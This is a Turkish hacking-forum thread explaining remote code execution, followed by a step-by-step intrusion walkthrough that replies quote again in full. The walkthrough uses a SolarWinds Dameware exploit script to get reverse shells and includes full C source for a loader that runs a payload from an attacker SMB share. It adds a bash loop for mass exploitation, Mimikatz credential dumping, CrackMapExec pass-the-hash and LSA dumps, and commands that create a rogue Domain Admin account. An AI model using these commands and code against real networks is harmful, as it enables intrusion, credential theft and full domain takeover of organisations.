RCE Zafiyeti Nedir? [Anlatım]

AzotM4

Üye
26 May 2022
229
81
Selam dostlar.Bugün sizlere RCE (Remote Code Execution) zafiyeti nedir,nasıl sömürülür kısaca bunun mantığını anlatmaya çalışacağım.

9l88q6h.png
TMK-Logoda6f7557dd1b80d9.png



Öncelikle bu zafiyetten kısaca şöyle bahsedebiliriz;

RCE dediğimiz olayda saldırgan eğer sisteme sızabilirse sistemde uzaktan kendi enjekte ettiği kodu çalıştırabilir,bu sayede sistemde yetki alabilir,kullanıcı verilerini çekebilir,backdoor açabilir veya sistemi çökertebilir.Yani oldukça kapsamlı işler yapılabilecek bir açık türü.


RCE zafiyeti sebepleri nelerdir?

Kötü ve özensiz bir şekilde hazırlanmış veya denetlenmeyen veri giriş alanları,
Uygulama kodunun zayıf yazılması veya güncellemelerin yetersiz olması,
Gelen verilerin sağlam bir şekilde filtrelenmemesi gibi durumlarda bu zafiyetler oluşabilir.

Bu saldırılar veritabanlarına,sunuculara,IoT cihazlarına kadar çeşitli sistemleri etkileyebilir.

Şimdi,bu zafiyetin sömürüsüne dair ufak bir örnek senaryo yazalım.

Şimdi öncelikle zafiyeti bulmak için url'nin örneğin kullanıcı adları ve e-postaları listelediğini fark ettik diyelim.
URL şu şekilde gözüküyor:
http://example.com/view_users.php
'view_users.php' sayfasının url parametrelerini incelediğimizde kullanıcı adı veya e-posta adresi parametrelerinin bu sayfada işlendiğini fark ediyoruz.Hedef uygulamada bir kod çalıştırmak için username parametresini kullanmaya karar veriyoruz.
Şöyle bir dize hazırladığımızı ve enjekte ettiğimizi düşünelim:

Uygulama,username parametresini işlerken bizim enjekte ettiğimiz kodu da işler.Bu durumda, Hello from malicious_code metni sayfada görüntülenecek fakat aslında bir komut çalıştırılmış olacaktır.
Eğer daha sağlam bir komut enjekte etmişsek,örneğin shell attıysak hedef sistemde bu shell çalıştırılabilir.

Bu komut netcat aracını kullanarak sistemde shell başlatmamızı sağlar.Ardından shelli çalıştırabiliriz.
Kısaca bu zafiyetin sömürüsünün ana mantığını bu şekilde anlatabiliriz.Tabi bu senaryoda hiçbir WAF'a takılmadık.Normal şartlarda bu saldırı çok daha karmaşık bir şekilde uygulanır.

Şimdi farklı bir kaynaktan gördüğüm örnek bir senaryoyu sizlere aktaracağım.


SolarWinds Dameware Mini RCE Zafiyeti:

Kullanıcı verilerinin DameWare Mini uygulaması tarafından yanlış şekilde doğrulanması sebebiyle saldırganın kimlik doğrulaması gerekmeksizin uzaktan komut yürütme saldırıları mümkün hale gelir.
İç ağ üzerinde gerçekleştirdiğimiz zafiyet taraması sonucunda bazı IPport adreslerinde
SolarWinds Dameware Mini RCE zafiyetinin var olduğunu tespit ettik.Zafiyeti sömürmek için aşağıdaki python scriptini kullanacağız:

Buradaki asıl amacımız Domain Admin olabilmek.
Bu script ile zafiyeti sömürmek için:

python solarwinds.py -t <hedef IP Adresi> -e <çalıştırmak istenilen dosya>

Burada, -e parametresinden sonra vereceğimiz .exe dosyası yani hedef sistemde çalıştırmak istediğimiz dosya olarak kullanmak için cihaza meterpreter bağlantısı yaptıracak bir kod oluşturduk.
Msfconsole üzerinden dinlemeyi aktif ettikten sonra -e parametresine bu .exe dosyasını vererek exploiti çalıştırdık.
SolarWinds Dameware uygulamasının çalıştığı sistemde, bizim hazırlamış olduğumuz kodu engelleyecek bir antivirüs kurulu değil ise veya kod çalıştıkran sonra bağlantıyı tespit ederek kesecek bir IPS vb. güvenlik ürünü bulunmuyorsa hedef sunucumuzun IP'sinden saldırgan makinemize doğru kolaylıkla bağlantı
alabiliriz.
Zafiyeti sömürdükten sonra bağlantı bize Windows üzerinde en yüksek haklara sahip olan
NT AUTHORITY/System hakları ile geliyor.Yani bu adımdan sonra bir hak yükseltme işlemi için uğraşmamıza gerek yok.

Şimdi bu işlemler sonrasında
mimikatz kullanarak bağlantı sağladığımız sistemde bir şekilde oturum açmış olan kullanıcıların parola hashlerini dump ettik.Meterpreter shelli üzerindeyken önce load kiwi komutu ile Mimikatz'i yükledik,sonra da creds_all komutunu kullanarak sistemde oturum açmış olan tüm kullanıcıların kimlik bilgilerini elde ettik.
Bazı kullanıcılar ve parola hashlerini elde ettik fakat hedefimiz Domain Admin yetkilerine sahip olmak.Bu sebeple bizim hangi kullanıcıların Domain Admins grubunda olduğunu bir şekilde öğrenmemiz gerekiyor.Burada bize destek için
BloodHound aracı devreye giriyor.BloodHound, tüm active directory ilişkilerini tespit etmek için geliştirilmiş bir araç.BloodHound'u hedef sistem üzerinde yer alan bir cihaz üzerinden çalıştırarak active directory üzerinde Domain Admins grubunda yer alan kullanıcıların listesini elde edeceğiz.

Aşağıdaki örnek ekran görüntüsünde göreceğiniz üzere, BloodHound aracı sayesinde sistem üzerinde Domain Admins grubunda olan kullanıcıların kimler olduğunu tespit ettik. Artık bu kullanıcıların üzerine yoğunlaşarak devam edebiliriz.


1b-1024x634.png

(Görsel Alıntıdır)


Mimikatz ile elde ettiğimiz ve Domain Admin grubunda olduğunu bildiğimiz kullanıcı adı ve parola hashlerini kullanarak, Domain Controller sunucularına bağlantı yapmayı deneyeceğiz. Eğer elde ettiğimiz bilgiler ile Domain Controller sunucusuna erişim sağlayabilirsek, direkt olarak domain admin haklarına sahip yeni bir kullanıcı oluşturabiliriz.

Kullanıcı adı ve parola hashlerini kullanarak hedeflediğimiz sistem üzerinde oturum açmak için Pass the Hash yöntemini kullanacağız.


Pass the Hash:

Pass the Hash yöntemi ile kullanıcı parolasının hash hali kullanılarak uzaktaki Windows sistemlerin komut satırına erişim sağlanabilmektedir.

Biz Pass the Hash saldırılarını gerçekleştirmek ve elde etmiş olduğumuz parola hashlerinin hala geçerli olup olmadığını kontrol etmek için CrackMapExec aracını kullanacağız. CrackMapExec’i kullandıktan sonra eğer ki Pwn3d! çıktısını görürsek kullandığımız parola hashlerinin hala geçerli olduğunu anlayabiliriz.


CrackMapExec smb <Hedef Cihaz IP> -u <Kullanıcı Adı> -H <Parola Hashi>


Elde ettiğimiz kullanıcı bilgileri (credentials) ile Domain Controller sunucularına veya diğer sistemlere bağlantı sağlayamadık. Buradan anladığımız, bağlantı aldığımız sistem üzerinde yer alan parola hashleri eski yani kullanıcılar parolalarını sonradan değiştirmiş.


O zaman bizim, SolarWinds Dameware RCE zafiyetinden etkilenen diğer sistemlerden de bağlantı alarak o cihazlar üzerinden de parola hashlerini dump etmemiz ve sonra bu kimlik bilgilerini kullanarak farklı sistemlere erişip erişemediğimizi kontrol etmemiz gerekecek.


Bu işlevi otomatize hale getirmek için yani SolarWinds Dameware zafiyetinin olduğu tespit edilmiş olan tüm cihazlardan aynı anda tek komut ile reverse shell alabilmek için:


1- Kendi cihazımız üzerinden bir SMB Paylaşımı (SMB Share) aktif hale getirdik ve hazırlamış olduğumuz kodu bu smb paylaşımı altına kopyaladık.


service smbd start

2- Sonrasında, Dameware zafiyetinden etkilenen cihazlar üzerinde; Öncelikle SMB Paylaşımını ekleyecek ve bu SMB paylaşımı üzerinden hazırlamış olduğumuz zararlı yazılımı çalıştırma işlemlerini sırasıyla yapacak olan C kodunu düzenledik ve sonra adı advancedMalware.exe olacak şekilde derledik.


İlgili C kodu:

#include <Windows.h>

void startup(LPCSTR lpApplicationName)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcessA
(
lpApplicationName,
"1",

NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

int main(int argc, char** argv) {

system("net use R: \\\\192.168.0.10\\pentest /PERSISTENT:YES /userpentest AzotM4");
startup("R:\\Untitled.exe");
system("net use R: /delete");

return (0);
}


Bu C kodu içerisinde yer alan aşağıdaki 3 satır ile:



net use R: \\\\192.168.0.10\\pentest /PERSISTENT:YES /userpentest AzotM4

R:\\Untitled.exe

net use R: /delete




İlk olarak SMB paylaşımı yaptığımız klasörü, zafiyetli sistem üzerinde R: adlı bir ağ klasörü (Network Location) olarak eklemiş olduk. Sonrasında bu R: klasörü üzerinden Untitled.exe adlı kodumuzu çalıştırttık ve sonrasında eklemiş olduğumuz R: adlı ağ klasörünü sildirmiş olduk.


Gerçekleştirdiğimiz zafiyet taraması sonucunda bazı IPport adreslerinde SolarWinds Dameware zafiyetini tespit etmiştik ancak bu zafiyet taraması sırasında yaşanabilecek olan bazı network paket sorunları sebebiyle normalde bu zafiyetin var olduğu ama zafiyet taramasında tespit edilememiş bazı sunucular olabilir. Bu sebep ile bu noktada, (SolarWinds Dameware uygulaması varsayılan olarak 6129 portunda çalışmaktadır) iç ağ sızma testi kapsamında olan tüm IP Subnetlerinin 6129 portunun açık olup olmadığına nmap ile bakılabilir.


Bizde burada kapsamımızda olan tüm subnetlerin 6129 portunun açık olup olmadığına nmap ile baktık ve gerçektende zafiyet taramasında tespit edilmemiş olan bazı sunucularda dahil bu zafiyetin var olduğunu tespit ettik. Bu güzel çünkü bu bizim için daha fazla zafiyetli cihaz, daha fazla shell, daha fazla hash yani daha fazla şans demek oluyor. Sonrasında bu adresleri de DameWareIP.txt içerisine ekledik.



Nmap -sSV -Pn -p 6129 -iL subnets.txt --open > DameWareIP.txt


3- DameWare zafiyetinin olduğu tüm IP adreslerini DameWareIP.txt içerisine eklemiştik sonrasında bash üzerinden bir while döngüsü ile DameWareIP.txt içerisinde yer alan tüm IP’lerde hazırlamış olduğumuz zararlı advancedMalware.exe dosyasını çalıştırmak için aşağıdaki komutu kullandık.

while read ip; do python solarwinds.py -t $ip -e advancedMalware.exe; done < DameWareIP.txt


4- Bu sayede bu zafiyetten etkilenen tüm sistemlerden aynı anda reverse shell alabildik. Ve reverse shell elde ettiğimiz tüm sistemlerden yine Mimikatz aracılığı ile parola hashlerini topladık.


Güzel, artık elimizde hatırı sayılır miktarda parola hashleri var. Ancak üzücü haber şu ki BloodHound ile tespit ettiğimiz Domain Admins grubuna ekli olan hiç bir kullanıcının parola hashini elde edemedik. Ama bazı sistem admin yetkilerine sahip kullanıcıların parola hashlerini elde ettik.


Bize Domain Admins grubunda yer alan kullanıcıların parolaları & parola hashleri gerekiyor. Bu sebep ile CrackMapExec’in sihirli bir trickini kullanarak sistem admin yetkilerine sahip kimlik bilgilerini kullanarak IP kapsamımızda yer alan ve 445 portu yani SMB portu açık olan tüm sistemlere bağlantı yaparak bu sistemler üzerinde oturum açmış olan tüm hesapların LSA dumplarını topladık. Kullandığımız komut;



CrackMapExec smb <IP adresleri> -u <Kullanıcı Adı> -H <Parola Hashi> --local-auth --lsa


Bağlantı sağladığımız tüm sistemlerden LSA dumplarını topladık. Artık elimizde daha da fazla parola hashleri mevcut. Bu LSA dumpları içerisinden “Domain Admins” grubunda yer alan kullanıcıların parola hashlerini bir kenara ayırdık.


Bu parola hashlerine bakarken bir kullanıcı için birden çok parola hashi bilgisi olduğunu gördük. Bu durum şundan kaynaklanmaktadır: X kullanıcısı 10.10.10.5 IP’li cihazda 40 gün önce oturum açmış olabilir ve oturum açtıktan sonra da parolasını değiştirmiş olabilir. Bu sebep ile parola hashi bilgisi de değişeceği için, bu parola hashlerini kullanarak güncel olarak windows sistemlere erişim sağlayamayız.


Defansif açıdan, bu sistemlerde daha önceden oturum açmış kullanıcı bilgilerinin elde edilmemesi için ilgili cihaz üzerinden bu parola hashlerinin temizlenmesi gerekmektedir.


Ve Pwn3d! Uzun ve soluklu denemelerimiz sonrasında sonunda Domain Admins grubunda olduğunu bildiğimiz bir kullanıcı bilgileri ile Domain Controller sunucusuna bağlantı sağlayabildik.

Artık Domain Controller sunucusuna bağlantı yapabiliyoruz. Şimdi tekrar CrackMapExec kullanarak bir kullanıcı oluşturalım ve bu kullanıcıyı Domain Admins grubuna ekleyelim.


Aşağıda belirttiğimiz komut ile domain üzerinde “x” adında bir kullanıcı oluşturduk.


CrackMapExec smb <DomainContrller IP> -u <Kullanıcı Adı> -H <Parola Hashi> -X "net user <Oluşturulacak Kullanıcı Adı> <Parola> /add /domain"


Aşağıda belirttiğimiz komut ile de oluşturduğumuz “x” adlı kullanıcıyı Domain Admins grubuna ekledik.


CrackMapExec smb <DomainContrller IP> -u <Kullanıcı Adı> -H <Parola Hashi> -X "net group 'Domain Admins' <Oluşturulan KullanıcıAdı> /add"


Domain Controller’a oluşturduğumuz kullanıcı ile RDP yaparak bağlandık ve “x” adlı kullanıcımızın hangi gruplara ekli olduğunu görüntüledik.

Hedef sistemde oluşturmuş olduğumuz kullanıcı artık Active Directory üzerinde en yüksek yetkilere sahip olan Domain Admins grubunda.

Bu yazıda sizlere örnek bir RCE sömürüsü senaryosunun mantığının nasıl işlediğini göstermeye çalıştım.Kendinize iyi bakın,görüşmek üzere.


 
Son düzenleme:

TurkGokay

Uzman üye
4 Ara 2022
1,021
544
Kemalizm
Selam dostlar.Bugün sizlere RCE (Remote Code Execution) zafiyeti nedir,nasıl sömürülür kısaca bunun mantığının nasıl çalıştığını anlatmaya çalışacağım.

9l88q6h.png
TMK-Logoda6f7557dd1b80d9.png



Öncelikle bu zafiyetten kısaca şöyle bahsedebiliriz;

RCE dediğimiz olayda saldırgan eğer sisteme sızabilirse sistemde uzaktan kendi enjekte ettiği kodu çalıştırabilir,bu sayede sistemde yetki alabilir,kullanıcı verilerini çekebilir,backdoor açabilir veya sistemi çökertebilir.Yani oldukça kapsamlı işler yapılabilecek bir açık türü.


RCE zafiyeti sebepleri nelerdir?

Kötü ve özensiz bir şekilde hazırlanmış veya denetlenmeyen veri giriş alanları,
Uygulama kodunun zayıf yazılması veya güncellemelerin yetersiz olması,
Gelen verilerin sağlam bir şekilde filtrelenmemesi gibi durumlarda bu zafiyetler oluşabilir.

Bu saldırılar veritabanlarına,sunuculara,IoT cihazlarına kadar çeşitli sistemleri etkileyebilir.

Şimdi,bu zafiyetin sömürüsüne dair ufak bir örnek senaryo yazalım.

Şimdi öncelikle zafiyeti bulmak için url'nin örneğin kullanıcı adları ve e-postaları listelediğini fark ettik diyelim.
URL şu şekilde gözüküyor:
http://example.com/view_users.php
'view_users.php' sayfasının url parametrelerini incelediğimizde kullanıcı adı veya e-posta adresi parametrelerinin bu sayfada işlendiğini fark ediyoruz.Hedef uygulamada bir kod çalıştırmak için username parametresini kullanmaya karar veriyoruz.
Şöyle bir dize hazırladığımızı ve enjekte ettiğimizi düşünelim:

Uygulama,username parametresini işlerken bizim enjekte ettiğimiz kodu da işler.Bu durumda, Hello from malicious_code metni sayfada görüntülenecek fakat aslında bir komut çalıştırılmış olacaktır.
Eğer daha sağlam bir komut enjekte etmişsek,örneğin shell attıysak hedef sistemde bu shell çalıştırılabilir.

Bu komut netcat aracını kullanarak sistemde shell başlatmamızı sağlar.Ardından shelli çalıştırabiliriz.
Kısaca bu zafiyetin sömürüsünün ana mantığını bu şekilde anlatabiliriz.Tabi bu senaryoda hiçbir WAF'a takılmadık.Normal şartlarda bu saldırı çok daha karmaşık bir şekilde uygulanır.

Şimdi farklı bir kaynaktan gördüğüm örnek bir senaryoyu sizlere aktaracağım.

SolarWinds Dameware Mini RCE Zafiyeti: Kullanıcı verilerinin DameWare Mini uygulaması tarafından yanlış şekilde doğrulanması sebebiyle saldırganın kimlik doğrulaması gerekmeksizin uzaktan komut yürütme saldırıları mümkün hale gelir.
İç ağ üzerinde gerçekleştirdiğimiz zafiyet taraması sonucunda bazı IP:port adreslerinde
SolarWinds Dameware Mini RCE zafiyetinin var olduğunu tespit ettik.Zafiyeti sömürmek için aşağıdaki python scriptini kullanacağız:

Buradaki asıl amacımız Domain Admin olabilmek.
Bu script ile zafiyeti sömürmek için:



Burada, -e parametresinden sonra vereceğimiz .exe dosyası yani hedef sistemde çalıştırmak istediğimiz dosya olarak kullanmak için cihaza meterpreter bağlantısı yaptıracak bir kod oluşturduk.
Msfconsole üzerinden dinlemeyi aktif ettikten sonra -e parametresine bu .exe dosyasını vererek exploiti çalıştırdık.
SolarWinds Dameware uygulamasının çalıştığı sistemde, bizim hazırlamış olduğumuz kodu engelleyecek bir antivirüs kurulu değil ise veya kod çalıştıkran sonra bağlantıyı tespit ederek kesecek bir IPS vb. güvenlik ürünü bulunmuyorsa hedef sunucumuzun IP'sinden saldırgan makinemize doğru kolaylıkla bağlantı
alabiliriz.
Zafiyeti sömürdükten sonra bağlantı bize Windows üzerinde en yüksek haklara sahip olan
NT AUTHORITY/System hakları ile geliyor.Yani bu adımdan sonra bir hak yükseltme işlemi için uğraşmamıza gerek yok.

Şimdi bu işlemler sonrasında
mimikatz kullanarak bağlantı sağladığımız sistemde bir şekilde oturum açmış olan kullanıcıların parola hashlerini dump ettik.Meterpreter shelli üzerindeyken önce load kiwi komutu ile Mimikatz'i yükledik,sonra da creds_all komutunu kullanarak sistemde oturum açmış olan tüm kullanıcıların kimlik bilgilerini elde ettik.
Bazı kullanıcılar ve parola hashlerini elde ettik fakat hedefimiz Domain Admin yetkilerine sahip olmak.Bu sebeple bizim hangi kullanıcıların Domain Admins grubunda olduğunu bir şekilde öğrenmemiz gerekiyor.Burada bize destek için
BloodHound aracı devreye giriyor.BloodHound, tüm active directory ilişkilerini tespit etmek için geliştirilmiş bir araç.BloodHound'u hedef sistem üzerinde yer alan bir cihaz üzerinden çalıştırarak active directory üzerinde Domain Admins grubunda yer alan kullanıcıların listesini elde edeceğiz.

Aşağıdaki örnek ekran görüntüsünde göreceğiniz üzere, BloodHound aracı sayesinde sistem üzerinde Domain Admins grubunda olan kullanıcıların kimler olduğunu tespit ettik. Artık bu kullanıcıların üzerine yoğunlaşarak devam edebiliriz.


1b-1024x634.png

(Görsel Alıntıdır)


Mimikatz ile elde ettiğimiz ve Domain Admin grubunda olduğunu bildiğimiz kullanıcı adı ve parola hashlerini kullanarak, Domain Controller sunucularına bağlantı yapmayı deneyeceğiz. Eğer elde ettiğimiz bilgiler ile Domain Controller sunucusuna erişim sağlayabilirsek, direkt olarak domain admin haklarına sahip yeni bir kullanıcı oluşturabiliriz.

Kullanıcı adı ve parola hashlerini kullanarak hedeflediğimiz sistem üzerinde oturum açmak için Pass the Hash yöntemini kullanacağız.


Pass the Hash:

Pass the Hash yöntemi ile kullanıcı parolasının hash hali kullanılarak uzaktaki Windows sistemlerin komut satırına erişim sağlanabilmektedir.

Biz Pass the Hash saldırılarını gerçekleştirmek ve elde etmiş olduğumuz parola hashlerinin hala geçerli olup olmadığını kontrol etmek için CrackMapExec aracını kullanacağız. CrackMapExec’i kullandıktan sonra eğer ki Pwn3d! çıktısını görürsek kullandığımız parola hashlerinin hala geçerli olduğunu anlayabiliriz.


CrackMapExec smb <Hedef Cihaz IP> -u <Kullanıcı Adı> -H <Parola Hashi>


Elde ettiğimiz kullanıcı bilgileri (credentials) ile Domain Controller sunucularına veya diğer sistemlere bağlantı sağlayamadık. Buradan anladığımız, bağlantı aldığımız sistem üzerinde yer alan parola hashleri eski yani kullanıcılar parolalarını sonradan değiştirmiş.


O zaman bizim, SolarWinds Dameware RCE zafiyetinden etkilenen diğer sistemlerden de bağlantı alarak o cihazlar üzerinden de parola hashlerini dump etmemiz ve sonra bu kimlik bilgilerini kullanarak farklı sistemlere erişip erişemediğimizi kontrol etmemiz gerekecek.



Bu işlevi otomatize hale getirmek için yani SolarWinds Dameware zafiyetinin olduğu tespit edilmiş olan tüm cihazlardan aynı anda tek komut ile reverse shell alabilmek için:



1- Kendi cihazımız üzerinden bir SMB Paylaşımı (SMB Share) aktif hale getirdik ve hazırlamış olduğumuz kodu bu smb paylaşımı altına kopyaladık.


service smbd start

2- Sonrasında, Dameware zafiyetinden etkilenen cihazlar üzerinde; Öncelikle SMB Paylaşımını ekleyecek ve bu SMB paylaşımı üzerinden hazırlamış olduğumuz zararlı yazılımı çalıştırma işlemlerini sırasıyla yapacak olan C kodunu düzenledik ve sonra adı advancedMalware.exe olacak şekilde derledik.


İlgili C kodu:

#include <Windows.h>

void startup(LPCSTR lpApplicationName)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcessA
(
lpApplicationName,
"1",

NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

int main(int argc, char** argv) {

system("net use R: \\\\192.168.0.10\\pentest /PERSISTENT:YES /user:pentest baris123");
startup("R:\\Untitled.exe");
system("net use R: /delete");

return (0);
}


Bu C kodu içerisinde yer alan aşağıdaki 3 satır ile:



net use R: \\\\192.168.0.10\\pentest /PERSISTENT:YES /userpentest AzotM4

R:\\Untitled.exe

net use R: /delete




İlk olarak SMB paylaşımı yaptığımız klasörü, zafiyetli sistem üzerinde R: adlı bir ağ klasörü (Network Location) olarak eklemiş olduk. Sonrasında bu R: klasörü üzerinden Untitled.exe adlı kodumuzu çalıştırttık ve sonrasında eklemiş olduğumuz R: adlı ağ klasörünü sildirmiş olduk.



Gerçekleştirdiğimiz zafiyet taraması sonucunda bazı IPport adreslerinde SolarWinds Dameware zafiyetini tespit etmiştik ancak bu zafiyet taraması sırasında yaşanabilecek olan bazı network paket sorunları sebebiyle normalde bu zafiyetin var olduğu ama zafiyet taramasında tespit edilememiş bazı sunucular olabilir. Bu sebep ile bu noktada, (SolarWinds Dameware uygulaması varsayılan olarak 6129 portunda çalışmaktadır) iç ağ sızma testi kapsamında olan tüm IP Subnetlerinin 6129 portunun açık olup olmadığına nmap ile bakılabilir.


Bizde burada kapsamımızda olan tüm subnetlerin 6129 portunun açık olup olmadığına nmap ile baktık ve gerçektende zafiyet taramasında tespit edilmemiş olan bazı sunucularda dahil bu zafiyetin var olduğunu tespit ettik. Bu güzel çünkü bu bizim için daha fazla zafiyetli cihaz, daha fazla shell, daha fazla hash yani daha fazla şans demek oluyor. Sonrasında bu adresleri de DameWareIP.txt içerisine ekledik.



Nmap -sSV -Pn -p 6129 -iL subnets.txt --open > DameWareIP.txt


3- DameWare zafiyetinin olduğu tüm IP adreslerini DameWareIP.txt içerisine eklemiştik sonrasında bash üzerinden bir while döngüsü ile DameWareIP.txt içerisinde yer alan tüm IP’lerde hazırlamış olduğumuz zararlı advancedMalware.exe dosyasını çalıştırmak için aşağıdaki komutu kullandık.

while read ip; do python solarwinds.py -t $ip -e advancedMalware.exe; done < DameWareIP.txt


4- Bu sayede bu zafiyetten etkilenen tüm sistemlerden aynı anda reverse shell alabildik. Ve reverse shell elde ettiğimiz tüm sistemlerden yine Mimikatz aracılığı ile parola hashlerini topladık.


Güzel, artık elimizde hatırı sayılır miktarda parola hashleri var. Ancak üzücü haber şu ki BloodHound ile tespit ettiğimiz Domain Admins grubuna ekli olan hiç bir kullanıcının parola hashini elde edemedik. Ama bazı sistem admin yetkilerine sahip kullanıcıların parola hashlerini elde ettik.


Bize Domain Admins grubunda yer alan kullanıcıların parolaları & parola hashleri gerekiyor. Bu sebep ile CrackMapExec’in sihirli bir trickini kullanarak sistem admin yetkilerine sahip kimlik bilgilerini kullanarak IP kapsamımızda yer alan ve 445 portu yani SMB portu açık olan tüm sistemlere bağlantı yaparak bu sistemler üzerinde oturum açmış olan tüm hesapların LSA dumplarını topladık. Kullandığımız komut;




CrackMapExec smb <IP adresleri> -u <Kullanıcı Adı> -H <Parola Hashi> --local-auth --lsa



Bağlantı sağladığımız tüm sistemlerden LSA dumplarını topladık. Artık elimizde daha da fazla parola hashleri mevcut. Bu LSA dumpları içerisinden “Domain Admins” grubunda yer alan kullanıcıların parola hashlerini bir kenara ayırdık.


Bu parola hashlerine bakarken bir kullanıcı için birden çok parola hashi bilgisi olduğunu gördük. Bu durum şundan kaynaklanmaktadır: X kullanıcısı 10.10.10.5 IP’li cihazda 40 gün önce oturum açmış olabilir ve oturum açtıktan sonra da parolasını değiştirmiş olabilir. Bu sebep ile parola hashi bilgisi de değişeceği için, bu parola hashlerini kullanarak güncel olarak windows sistemlere erişim sağlayamayız.


Defansif açıdan, bu sistemlerde daha önceden oturum açmış kullanıcı bilgilerinin elde edilmemesi için ilgili cihaz üzerinden bu parola hashlerinin temizlenmesi gerekmektedir.


Ve Pwn3d! Uzun ve soluklu denemelerimiz sonrasında sonunda Domain Admins grubunda olduğunu bildiğimiz bir kullanıcı bilgileri ile Domain Controller sunucusuna bağlantı sağlayabildik.

Artık Domain Controller sunucusuna bağlantı yapabiliyoruz. Şimdi tekrar CrackMapExec kullanarak bir kullanıcı oluşturalım ve bu kullanıcıyı Domain Admins grubuna ekleyelim.


Aşağıda belirttiğimiz komut ile domain üzerinde “x” adında bir kullanıcı oluşturduk.


CrackMapExec smb <DomainContrller IP> -u <Kullanıcı Adı> -H <Parola Hashi> -X "net user <Oluşturulacak Kullanıcı Adı> <Parola> /add /domain"


Aşağıda belirttiğimiz komut ile de oluşturduğumuz “x” adlı kullanıcıyı Domain Admins grubuna ekledik.



CrackMapExec smb <DomainContrller IP> -u <Kullanıcı Adı> -H <Parola Hashi> -X "net group 'Domain Admins' <Oluşturulan KullanıcıAdı> /add"



Domain Controller’a oluşturduğumuz kullanıcı ile RDP yaparak bağlandık ve “x” adlı kullanıcımızın hangi gruplara ekli olduğunu görüntüledik.

Hedef sistemde oluşturmuş olduğumuz kullanıcı artık Active Directory üzerinde en yüksek yetkilere sahip olan Domain Admins grubunda.

Bu yazıda sizlere örnek bir RCE sömürüsü senaryosunun mantığının nasıl işlediğini göstermeye çalıştım.Kendinize iyi bakın,görüşmek üzere.


















Biraz karışık bir anlatım olmuş ya da ben anlamadım. Detaylandırma hoşuma gitti fakat biraz daha basitleştirilebilirdi. Ellerine sağlık dostum, güzel konu.
 

AzotM4

Üye
26 May 2022
229
81

borekaenxd97

Blue Tim Emektar
24 Nis 2020
217
342
Ey Türk Gençliği!
Çok güzel bir makale olmuş, RCE zafiyetini Active Directory ile bağdaştırman konuyu daha da güzel kılmış. Yalnızca 4. maddede "Bu sayede bu zafiyetten etkilenen tüm sistemlerden aynı anda reverse shell alabildik." ifadesini nasıl gerçekleştirdiğini anlayamadım. Burayı biraz daha açıklayabilirsen sevinirim.
 

AzotM4

Üye
26 May 2022
229
81
Çok güzel bir makale olmuş, RCE zafiyetini Active Directory ile bağdaştırman konuyu daha da güzel kılmış. Yalnızca 4. maddede "Bu sayede bu zafiyetten etkilenen tüm sistemlerden aynı anda reverse shell alabildik." ifadesini nasıl gerçekleştirdiğini anlayamadım. Burayı biraz daha açıklayabilirsen sevinirim.
Teşekkürler, reverse shellden kastım sistemlerden bağlantı alabildiğimizdi.
Ellerine sağlık.
Teşekkürler.
 

Arenklord

Uzman üye
9 Mar 2023
1,294
666
Orta doğu
Eline emeğine sağlık azot güzel detaylandırma
Ancak konu ile ilgili senaryolarda biraz daha fotoğraf olsaydı daha mükemmel olurdu
 

AzotM4

Üye
26 May 2022
229
81
Eline emeğine sağlık azot güzel detaylandırma
Ancak konu ile ilgili senaryolarda biraz daha fotoğraf olsaydı daha mükemmel olurdu
Eyvallah farkındayım, yazma sırasında bir takım sorunlar oldu o yüzden görsel detaylandırma fazla olmadı ama detaylı bir senaryo olduğu için kafaya çok fazla soru takılacağını sanmıyorum.
Eyvallah cano ❤️
abi eline sağlık
Teşekkürler cano 🙏
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.